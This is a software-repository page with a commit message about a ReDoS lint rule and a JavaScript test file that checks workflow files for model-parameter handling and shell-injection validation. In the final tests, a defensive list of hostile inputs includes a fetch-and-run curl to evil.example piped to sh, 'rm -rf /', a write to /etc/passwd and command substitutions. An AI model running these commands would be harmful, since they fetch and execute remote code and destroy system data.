* feat(#3415): ship local/no-unbounded-quantifier, burn down ReDoS class Phase 4 of epic #3212 (ADR-3212 §5/§7, the final phase). New rule flags an unbounded */+/{n,} quantifier over a broad character class ([\s\S], dotAll ., or a 1-2-unit negated class like [^\n]/[^)\n] — the exact #2128-fixed shape) applied to a regex whose match target is data-flow-traced to readFileSync content. eslint-rules/lib/readfilesync-trace.cjs extracts the data-flow tracer shared with no-crlf-fragile-split (Phase 2) rather than a second copy — no-crlf-fragile-split refactored onto it with zero behavior change, parity-tested. Real triage, not 798 mechanical edits: the ADR's census (2026-08-08) screened every unbounded quantifier in the tree unscoped. Correctly scoped to readFileSync-derived content (matching Phase 2's own G2/G3 scoping), the rule found 162 real hits across two detection waves — the second wave (93) surfaced only after a genuine off-by-one bug in this rule's own first draft was caught while writing its RuleTester tests and fixed (the bug silently missed every directly-quantified [\s\S]* with no gap before the quantifier — exactly the class this rule exists to catch). 3 hits landed in production src/ (commands.cts, milestone.cts, roadmap.cts) and were each empirically timed against adversarial input (matching #2128's own measured-not-assumed precedent) — all confirmed linear-time/benign, left unbounded with a measured-evidence comment rather than mechanically bounded. The remaining 159 are test-file fixture parsing (test-author-controlled, fixed-size content, not adversarial input) — each suppressed with a specific, non-generic reason. Zero functional behavior changed anywhere in this diff. tests/no-pending-3212-markers.test.cjs locks the epic's own closing invariant (ADR §7: "assert zero pending #3212 markers remain") — ground truth confirmed trivially true today (no phase left any such marker behind), now regression-locked going forward. Design: .gsd/phase/chore-3415-prohibition-with-teeth/40-design.md Test matrix: .gsd/phase/chore-3415-prohibition-with-teeth/50-test-matrix.md Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#3415): correct rule category mislabel, add CI test-scope entry An orthogonal Standards-axis review found eslint-rules/no-unbounded-quantifier.cjs mistakenly carried meta.docs.category: 'Portability', copied from a sibling rule without realizing what that implied: docs/contributing/cross-platform- portability-rules.md governs an ADR-1703 rule family under a hard "zero escape hatches" contract (tests/portability-rule-disable-ban.test.cjs's PROTECTED_RULES bans eslint-disable for those rules entirely). This rule is not part of that family — it's ADR-3212 (ReDoS/CWE-1333), a different epic — and its eslint-disable-next-line suppressions (159 of them, added earlier this same phase after empirical benign-verification) are an intentional, correct design, not a bypass. Corrected to category: 'Best Practices', matching the actual precedent (no-adhoc-regex-escape.cjs, Phase 1 of the same epic, which is also correctly outside PROTECTED_RULES), and the rule's own docstring now states this explicitly so a future reader doesn't have to re-derive it. Also registers a new scripts/ci-test-scope.cjs bucket so editing this rule or the shared eslint-rules/lib/readfilesync-trace.cjs helper re-runs their own test suites under targeted CI selection — was previously unregistered and invisible to that fast-path (this PR's own gsd-test checkpoint runs the full suite regardless, so this only affects future narrowly-scoped PRs). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#3415): bound no-unbounded-quantifier's own scanner (CWE-1333, ironic) Security review found the rule meant to catch algorithmic-complexity bugs had one of its own: hasUnboundedBroadQuantifier's negated-class inner scan walked from each `[^` occurrence to the next `]` (or EOF) with no bound, while the outer loop only ever advanced by one character — O(n²) total work on a pattern with many unclosed `[^` runs. Runs unconditionally inside checkPattern on any `new RegExp('literal string')` argument in any linted file, before the (cheap) readFileSync data-flow gate — so a single crafted string literal, no valid regex syntax required, could make `npm run lint` / CI hang. Empirically confirmed both the bug and the fix: pre-fix, n=4000/8000/ 16000/32000 chars took 30.8/115.6/463.8/1874.3ms (~4x work per 2x n, quadratic); extrapolated, the 300000-char repro from the finding would run ~165s. Post-fix (bail the inner scan once units exceeds the rule's own 1-2-unit scope, rather than continuing to hunt for a closing `]`), the same 300000-char input runs in 8.7ms via the real rule module, independently reconfirmed at 18ms via a fresh Linter.verify() call. New regression row in tests/no-unbounded-quantifier.rule.test.cjs asserts the RuleTester run on a 50000-char adversarial pattern completes and returns a defined result — no wall-clock assertion (CLAUDE.md Clock Seams / local/no-elapsed-assertion). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#3415): triage 3 new sites, re-raise ceiling after upstream batch next merged 12 more PRs during this PR's review. Two consequences: - tests/edit-phase.test.cjs (fix #3262, unrelated) added 3 new content.match(/<tag>([\s\S]*?)<\/tag>/) reads of this repo's own workflow .md content — the same Class A pattern as the ~159 sites already triaged elsewhere in this PR. Suppressed with the same established reason. - lint-allow-test-rule-refs' ratchet ceiling needed re-raising again (301 -> 303) for the same reason as the two prior bumps: organic growth from unrelated, already-reviewed PRs landing concurrently, not a defect in this branch's own diff. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
418 lines
18 KiB
JavaScript
418 lines
18 KiB
JavaScript
// allow-test-rule: structural-regression-guard see #2517
|
|
// allow-test-rule: source-text-is-the-product see #2684
|
|
// Guards the omit-when-inherit fix: workflow orchestrators must instruct the agent to
|
|
// OMIT the model= param from Agent() calls when the *_model var is "inherit" or empty.
|
|
// Without it, model="" is passed verbatim and 404s on non-Claude runtimes
|
|
// (resolve_model_ids:"omit" + model_profile:"inherit" -> empty model string).
|
|
// execute-phase had the fix; plan-phase was missing it (#2517); scan/ship dispatched with
|
|
// a placeholder their own init payload never emits at all (#2684).
|
|
'use strict';
|
|
|
|
const { test } = require('node:test');
|
|
const assert = require('node:assert/strict');
|
|
const fs = require('node:fs');
|
|
const path = require('node:path');
|
|
const fc = require('./helpers/fast-check-setup.cjs');
|
|
const { runGsdTools, createTempProject, cleanup, readWorkflowCombined } = require('./helpers.cjs');
|
|
|
|
const ROOT = path.resolve(__dirname, '..');
|
|
const WORKFLOWS = path.join(ROOT, 'gsd-core', 'workflows');
|
|
|
|
/**
|
|
* Does this body state the omit rule? The rule is "omit the model= param when the
|
|
* bound *_model is inherit/empty", so require `omit` adjacent to `model=` AND the
|
|
* word `inherit`. Deliberately a PROPERTY check, not a fixed template string:
|
|
* plan-phase.md and execute-phase.md each state it in their own wording and both
|
|
* are correct.
|
|
*/
|
|
const OMIT_RULE_MARKER = "<!-- #2517 model-omit-on-inherit -->";
|
|
|
|
function statesOmitRule(content) {
|
|
// Canonical form: the marker block, which links the rule's single source of truth.
|
|
// Preferred for new files because it is unambiguous and greppable, and because it
|
|
// carries no literal `model=` token — the installed Hermes copy of a workflow is
|
|
// asserted to contain none outside string literals (delegate_task has no per-call
|
|
// model parameter at all), so the older phrasing cannot be used everywhere.
|
|
if (content.includes(OMIT_RULE_MARKER)) return true;
|
|
// Legacy form: the rule stated inline in the file's own words. All four files that
|
|
// predate the marker (plan-phase, execute-phase, scan, ship) match this branch, and
|
|
// rewriting them to a template would churn correct files for no behavioral gain.
|
|
const omitNearModel = /omit[\s\S]{0,200}model=|model=[\s\S]{0,200}omit/i.test(content);
|
|
return omitNearModel && /inherit/i.test(content);
|
|
}
|
|
|
|
/**
|
|
* #2711 — the guarded set is DERIVED from the corpus: every workflow that emits a
|
|
* `model="{…}"` dispatch site must carry the rule.
|
|
*
|
|
* This replaces a hand-maintained array. That array was a Goodhart metric — it
|
|
* reported green across 15 non-compliant files for no better reason than that
|
|
* nobody had added them to it. Deriving the set is what makes a 16th file
|
|
* impossible to add silently.
|
|
*
|
|
* #2994: `content` is read via `readWorkflowCombined` (host + its
|
|
* `workflows/<wf>/steps/*.md` fragments), not the bare host file. The
|
|
* fragment model can move a workflow's own omit-rule prose (e.g.
|
|
* quick.md's rule lives in `quick/steps/research-phase.md` behind a
|
|
* `<!-- gsd:section -->` stub) out of the host without moving its
|
|
* `model="{…}"` dispatch site, so a host-only read would report a
|
|
* false positive for a workflow that still documents the rule.
|
|
*/
|
|
function workflowsThatDispatchWithAModel() {
|
|
return fs
|
|
.readdirSync(WORKFLOWS)
|
|
.filter((f) => f.endsWith('.md'))
|
|
.map((f) => ({ file: f, content: readWorkflowCombined(path.join(WORKFLOWS, f)) }))
|
|
.filter((w) => /model="\{/.test(w.content));
|
|
}
|
|
|
|
test('#2517: every workflow that dispatches model= documents omitting it on inherit/empty', () => {
|
|
const dispatching = workflowsThatDispatchWithAModel();
|
|
|
|
// Non-vacuity: an empty or truncated derivation is not a passing guard.
|
|
assert.ok(
|
|
dispatching.length >= 19,
|
|
`expected >=19 model=-dispatching workflows, derived ${dispatching.length} — ` +
|
|
'the derivation itself is broken, so this guard proves nothing.',
|
|
);
|
|
|
|
// Report ALL offenders in one message rather than stopping at the first, so a
|
|
// sweep can be completed in a single pass.
|
|
const missing = dispatching.filter((w) => !statesOmitRule(w.content)).map((w) => w.file);
|
|
assert.deepEqual(
|
|
missing,
|
|
[],
|
|
`these workflows dispatch model="{…}" but never tell the orchestrator to OMIT the ` +
|
|
`model= param when the bound *_model is "inherit" or empty (#2517/#2711):\n ` +
|
|
`${missing.join('\n ')}\n` +
|
|
'Without the rule, model="" is passed verbatim and 404s on every runtime lacking ' +
|
|
'native tier aliases — which is the DEFAULT state on non-Claude runtimes, where ' +
|
|
'the installer writes resolve_model_ids:"omit". See ' +
|
|
'gsd-core/references/model-profile-resolution.md.',
|
|
);
|
|
});
|
|
|
|
test('#2711: the guarded set is derived from dispatch sites, not hand-maintained', () => {
|
|
const derived = workflowsThatDispatchWithAModel().map((w) => w.file);
|
|
|
|
// limit: a workflow with exactly one dispatch site is still guarded.
|
|
assert.ok(derived.includes('audit-milestone.md'), 'a single-site workflow must be derived in');
|
|
// limit+1: a many-site workflow appears once, not once per site.
|
|
assert.equal(
|
|
derived.filter((f) => f === 'docs-update.md').length,
|
|
1,
|
|
'a workflow with 10 dispatch sites must be derived exactly once',
|
|
);
|
|
// limit-1: a workflow that never emits model= must NOT be dragged in.
|
|
const nonDispatching = fs
|
|
.readdirSync(WORKFLOWS)
|
|
.filter((f) => f.endsWith('.md') && !/model="\{/.test(fs.readFileSync(path.join(WORKFLOWS, f), 'utf8')));
|
|
assert.ok(nonDispatching.length > 0, 'expected some workflows to dispatch no model= at all');
|
|
for (const f of nonDispatching) {
|
|
assert.ok(!derived.includes(f), `${f} emits no model= and must not be required to carry the rule`);
|
|
}
|
|
});
|
|
|
|
test('#2711: detects a dispatching workflow that lacks the rule', () => {
|
|
const site = 'Agent(subagent_type="gsd-planner", model="{planner_model}")';
|
|
|
|
assert.equal(statesOmitRule(`# doc\n${site}\n`), false, 'a bare dispatch site must be reported');
|
|
|
|
// plan-phase.md's own wording — the guard checks the property, not a template.
|
|
const planPhaseWording =
|
|
'**#2517:** omit the `model=` param from an `Agent()` call when its ' +
|
|
'`researcher`/`planner`/`checker`_model is `"inherit"` or empty.';
|
|
assert.equal(statesOmitRule(`# doc\n${planPhaseWording}\n${site}\n`), true);
|
|
|
|
// execute-phase.md's differently-worded copy must also satisfy it.
|
|
const executePhaseWording =
|
|
'**Model resolution:** If `executor_model` is `"inherit"`, omit the `model=` ' +
|
|
'parameter from all `Agent()` calls.';
|
|
assert.equal(statesOmitRule(`# doc\n${executePhaseWording}\n${site}\n`), true);
|
|
|
|
// "omit" alone, with no mention of inherit, is not the rule.
|
|
assert.equal(statesOmitRule(`# doc\nomit the \`model=\` param sometimes.\n${site}\n`), false);
|
|
});
|
|
|
|
test('#2711: rule detection is CRLF-safe', () => {
|
|
const body = [
|
|
'# doc',
|
|
'**#2517:** omit the `model=` param when the bound `planner_model` is `"inherit"` or empty.',
|
|
'Agent(subagent_type="gsd-planner", model="{planner_model}")',
|
|
'',
|
|
];
|
|
assert.equal(statesOmitRule(body.join('\n')), true);
|
|
assert.equal(
|
|
statesOmitRule(body.join('\r\n')),
|
|
statesOmitRule(body.join('\n')),
|
|
'CRLF input must yield the same verdict as LF (recurring class: #1658/#1668/#2206/#2449/#2450)',
|
|
);
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// #2684 — placeholder binding.
|
|
//
|
|
// A dispatch site may only substitute a field its OWN workflow binds. Three
|
|
// binding sources, any one sufficient:
|
|
// (a) a shell assignment in the same file: NAME=$(gsd_run query resolve-model …)
|
|
// (b) a key actually emitted by an init surface the file queries (invoked for real)
|
|
// (c) the file's declared parse list ("Parse JSON for:" / "Extract from init JSON:")
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/** All `model="{X}"` placeholder names in a workflow body. */
|
|
function extractModelPlaceholders(content) {
|
|
return [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]);
|
|
}
|
|
|
|
/** `NAME=$(...)` shell assignments. `^`/`$` under /m are CRLF-safe; \s absorbs the \r. */
|
|
function shellAssignedNames(content) {
|
|
return new Set([...content.matchAll(/^[ \t]*([A-Za-z0-9_]+)=\$\(/gm)].map((m) => m[1]));
|
|
}
|
|
|
|
/** Init surfaces the file queries: both `init.<name>` and the `<name>-init` spelling. */
|
|
function queriedInitSurfaces(content) {
|
|
const dotted = [...content.matchAll(/query\s+(init\.[a-z0-9-]+)/g)].map((m) => m[1]);
|
|
const suffixed = [...content.matchAll(/query\s+([a-z0-9-]+-init)\b/g)].map((m) => m[1]);
|
|
return [...new Set([...dotted, ...suffixed])];
|
|
}
|
|
|
|
/** Names listed on a declared parse line. */
|
|
function declaredParseNames(content) {
|
|
const names = new Set();
|
|
const lines = /^.*(?:Parse JSON for|Parse from init JSON|Extract from init JSON).*$/gim;
|
|
for (const line of content.match(lines) || []) {
|
|
for (const m of line.matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(m[1]);
|
|
}
|
|
// Multi-line declarations render the fields as a bullet list under the heading.
|
|
const bulleted = content.matchAll(
|
|
/(?:Parse JSON for|Parse from init JSON|Extract from init JSON)[^\n]*\n((?:[ \t]*[-*][^\n]*\n)+)/gi,
|
|
);
|
|
for (const m of bulleted) {
|
|
for (const b of m[1].matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(b[1]);
|
|
}
|
|
return names;
|
|
}
|
|
|
|
const _initKeyCache = new Map();
|
|
/** Real payload keys for an init surface, or null when it needs args we cannot supply. */
|
|
function initPayloadKeys(surface) {
|
|
if (_initKeyCache.has(surface)) return _initKeyCache.get(surface);
|
|
let keys = null;
|
|
const res = runGsdTools(['query', surface], ROOT);
|
|
if (res.success) {
|
|
try {
|
|
keys = new Set(Object.keys(JSON.parse(res.output)));
|
|
} catch {
|
|
keys = null; // non-JSON payload — inconclusive, not proof of absence.
|
|
}
|
|
}
|
|
// A null here means the surface needs an argument we cannot supply (e.g. a
|
|
// phase number). Inconclusive, NOT proof the field is absent — the caller
|
|
// still has the declared-parse-list and shell-assignment binding sources.
|
|
_initKeyCache.set(surface, keys);
|
|
return keys;
|
|
}
|
|
|
|
/** Unbound `model="{X}"` names in one workflow body. */
|
|
function unboundModelPlaceholders(content, resolveInit = initPayloadKeys) {
|
|
const placeholders = new Set(extractModelPlaceholders(content));
|
|
if (placeholders.size === 0) return [];
|
|
const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]);
|
|
for (const surface of queriedInitSurfaces(content)) {
|
|
const keys = resolveInit(surface);
|
|
if (keys) for (const k of keys) bound.add(k);
|
|
}
|
|
return [...placeholders].filter((p) => !bound.has(p));
|
|
}
|
|
|
|
test('#2684: every model="{…}" placeholder resolves to a field its own workflow binds', () => {
|
|
const files = fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md'));
|
|
const findings = [];
|
|
let scanned = 0;
|
|
let placeholders = 0;
|
|
|
|
for (const file of files) {
|
|
const content = fs.readFileSync(path.join(WORKFLOWS, file), 'utf8');
|
|
const found = extractModelPlaceholders(content);
|
|
if (found.length === 0) continue;
|
|
scanned += 1;
|
|
placeholders += found.length;
|
|
for (const name of unboundModelPlaceholders(content)) {
|
|
findings.push(`${file}: model="{${name}}" — no init payload key, shell assignment, or ` +
|
|
`declared parse field of that name. The substitution has no source, so the ` +
|
|
`orchestrator invents a value (#2684, ADR-1411).`);
|
|
}
|
|
}
|
|
|
|
// Non-vacuity: a glob that silently stops matching must fail, not pass.
|
|
assert.ok(scanned >= 10, `expected to scan >=10 dispatching workflows, scanned ${scanned}`);
|
|
assert.ok(placeholders >= 20, `expected >=20 model= placeholders, found ${placeholders}`);
|
|
assert.deepEqual(findings, [], `unbound model= placeholders:\n ${findings.join('\n ')}`);
|
|
});
|
|
|
|
test('#2684: detects an unbound placeholder in a synthetic workflow', () => {
|
|
const noInit = () => null;
|
|
|
|
// limit-1 — zero placeholders.
|
|
assert.deepEqual(unboundModelPlaceholders('# doc\nno dispatch here\n', noInit), []);
|
|
|
|
// limit — exactly one, unbound.
|
|
const one = '# doc\nAgent(subagent_type="x", model="{ghost_model}")\n';
|
|
assert.deepEqual(unboundModelPlaceholders(one, noInit), ['ghost_model']);
|
|
|
|
// limit+1 — two unbound alongside one bound; only the unbound are reported.
|
|
const many = [
|
|
'# doc',
|
|
'REAL_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
|
|
'Agent(subagent_type="a", model="{REAL_MODEL}")',
|
|
'Agent(subagent_type="b", model="{ghost_one}")',
|
|
'Agent(subagent_type="c", model="{ghost_two}")',
|
|
'',
|
|
].join('\n');
|
|
assert.deepEqual(unboundModelPlaceholders(many, noInit), ['ghost_one', 'ghost_two']);
|
|
});
|
|
|
|
test('#2684: binding detection is CRLF-safe', () => {
|
|
const noInit = () => null;
|
|
const body = [
|
|
'# doc',
|
|
'BOUND_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
|
|
'Parse JSON for: `declared_model`.',
|
|
'Agent(subagent_type="a", model="{BOUND_MODEL}")',
|
|
'Agent(subagent_type="b", model="{declared_model}")',
|
|
'Agent(subagent_type="c", model="{ghost_model}")',
|
|
'',
|
|
];
|
|
const lf = body.join('\n');
|
|
const crlf = body.join('\r\n');
|
|
assert.deepEqual(unboundModelPlaceholders(lf, noInit), ['ghost_model']);
|
|
assert.deepEqual(
|
|
unboundModelPlaceholders(crlf, noInit),
|
|
unboundModelPlaceholders(lf, noInit),
|
|
'CRLF input must yield the same findings as LF — a hardcoded \\n strands the \\r ' +
|
|
'and turns a bound name unbound (recurring class: #1658/#1668/#2206/#2449/#2450).',
|
|
);
|
|
});
|
|
|
|
test('#2684: placeholder extraction round-trips (property)', () => {
|
|
const ident = fc.stringMatching(/^[A-Za-z_][A-Za-z0-9_]{0,20}$/);
|
|
fc.assert(
|
|
fc.property(fc.array(ident, { minLength: 1, maxLength: 12 }), (names) => {
|
|
const rendered = names.map((n) => `Agent(subagent_type="x", model="{${n}}")`).join('\n');
|
|
assert.deepEqual(extractModelPlaceholders(rendered), names);
|
|
}),
|
|
{ numRuns: 200 },
|
|
);
|
|
});
|
|
|
|
test('#2684: the model-profile reference does not instruct emitting an inherit/empty model=', () => {
|
|
const rel = 'gsd-core/references/model-profile-resolution.md';
|
|
const content = fs.readFileSync(path.join(ROOT, rel), 'utf8');
|
|
|
|
assert.ok(
|
|
!/model="inherit"/.test(content),
|
|
`${rel}: must not instruct passing model="inherit" — #2517 established that an ` +
|
|
`inherit/empty model 404s on non-Claude runtimes and must be OMITTED instead. ` +
|
|
`This shipped reference is copied into workflows verbatim.`,
|
|
);
|
|
assert.ok(
|
|
!/model="\{resolved_model\}"/.test(content),
|
|
`${rel}: must not ship a copy-pasteable model="{resolved_model}" — no init payload ` +
|
|
`emits that field, and this snippet is exactly what scan.md inherited (#2684).`,
|
|
);
|
|
assert.ok(
|
|
/omit/i.test(content),
|
|
`${rel}: must state the #2517 omit-on-inherit/empty rule, since it is the document ` +
|
|
`workflow authors copy their dispatch block from.`,
|
|
);
|
|
});
|
|
|
|
test('#2684: ship.md validates capability-supplied ref.agent before it reaches a shell', () => {
|
|
const content = fs.readFileSync(path.join(WORKFLOWS, 'ship.md'), 'utf8');
|
|
|
|
// `ref.agent` comes from a capability manifest, which may be third-party. The
|
|
// #2684 fix is the first place that value reaches a shell command, so the
|
|
// workflow must constrain its shape BEFORE substituting it.
|
|
//
|
|
// The check must be performed in-context, not in the shell: the orchestrator
|
|
// substitutes the raw value textually, so a shell-side test would run only
|
|
// AFTER a payload like `x"; id; echo "` had already closed the assignment and
|
|
// executed. Assert the workflow states the in-context ordering explicitly.
|
|
// eslint-disable-next-line local/no-unbounded-quantifier -- parses maintainer-authored ship.md workflow, bounded prose, not adversarial input
|
|
const gate = /`(\^\[A-Za-z0-9\]\[[^`]*\]\*\$)`/.exec(content);
|
|
assert.ok(
|
|
gate,
|
|
'ship.md must publish the shape `ref.agent` has to match before it is used ' +
|
|
'— a capability manifest is not trusted input.',
|
|
);
|
|
assert.match(
|
|
content,
|
|
/IN-CONTEXT, before any shell use/i,
|
|
'ship.md must require the ref.agent check to run in-context BEFORE any shell ' +
|
|
'use. A shell-side check runs after the injection point and protects nothing.',
|
|
);
|
|
assert.doesNotMatch(
|
|
content,
|
|
/HOOK_AGENT="/,
|
|
'ship.md must not assign the raw ref.agent value into a shell variable — that ' +
|
|
'assignment IS the injection point (#2684 isolated review).',
|
|
);
|
|
|
|
const shape = new RegExp(gate[1]);
|
|
|
|
// Legitimate agent names the capability system actually dispatches.
|
|
for (const ok of ['gsd-mempalace-curator', 'gsd-code-reviewer', 'my.agent_v2', 'a']) {
|
|
assert.ok(shape.test(ok), `validation gate must accept the real agent name ${ok}`);
|
|
}
|
|
|
|
// Shell-injection shapes a hostile or corrupted manifest could supply. Each
|
|
// must be rejected, so the hook is skipped rather than executed.
|
|
const hostile = [
|
|
'x"; curl http://evil.example/p | sh; #',
|
|
'x$(id)',
|
|
'x`id`',
|
|
'x; rm -rf /',
|
|
'x && whoami',
|
|
'x | tee /etc/passwd',
|
|
'x\nrm -rf /',
|
|
'$IFS',
|
|
'../../etc/passwd',
|
|
'',
|
|
];
|
|
for (const bad of hostile) {
|
|
assert.equal(
|
|
shape.test(bad),
|
|
false,
|
|
`validation gate must REJECT ${JSON.stringify(bad)} — it would otherwise be ` +
|
|
'interpolated into a shell command built from a capability manifest.',
|
|
);
|
|
}
|
|
});
|
|
|
|
test('#2684: an unknown agent type resolves to an empty model, so dispatch must omit', () => {
|
|
// Hermetic: a throwaway project whose config explicitly sets resolve_model_ids:"omit".
|
|
// ship.md dispatches `ref.agent` — an arbitrary capability-supplied agent name that need
|
|
// not be in MODEL_PROFILES. This pins that such a name resolves to the EMPTY string, so
|
|
// the consumer must omit `model=` rather than emit `model=""` (the #2517 404).
|
|
const dir = createTempProject('gsd-2684-');
|
|
try {
|
|
fs.writeFileSync(
|
|
path.join(dir, '.planning', 'config.json'),
|
|
JSON.stringify({ model_profile: 'balanced', resolve_model_ids: 'omit', runtime: 'claude' }),
|
|
);
|
|
const res = runGsdTools(['query', 'resolve-model', 'not-a-real-agent'], dir);
|
|
assert.ok(res.success, `resolve-model failed (exit ${res.exitCode}): ${res.error}`);
|
|
const parsed = JSON.parse(res.output);
|
|
assert.equal(parsed.unknown_agent, true, 'an agent absent from MODEL_PROFILES must be flagged');
|
|
assert.equal(
|
|
parsed.model,
|
|
'',
|
|
'an unknown agent under resolve_model_ids:"omit" must resolve to the EMPTY string — ' +
|
|
'the resolver is correct to refuse to invent a tier, which is precisely why the ' +
|
|
'ship.md dispatch has to omit model= instead of substituting (#2684 / #2517).',
|
|
);
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|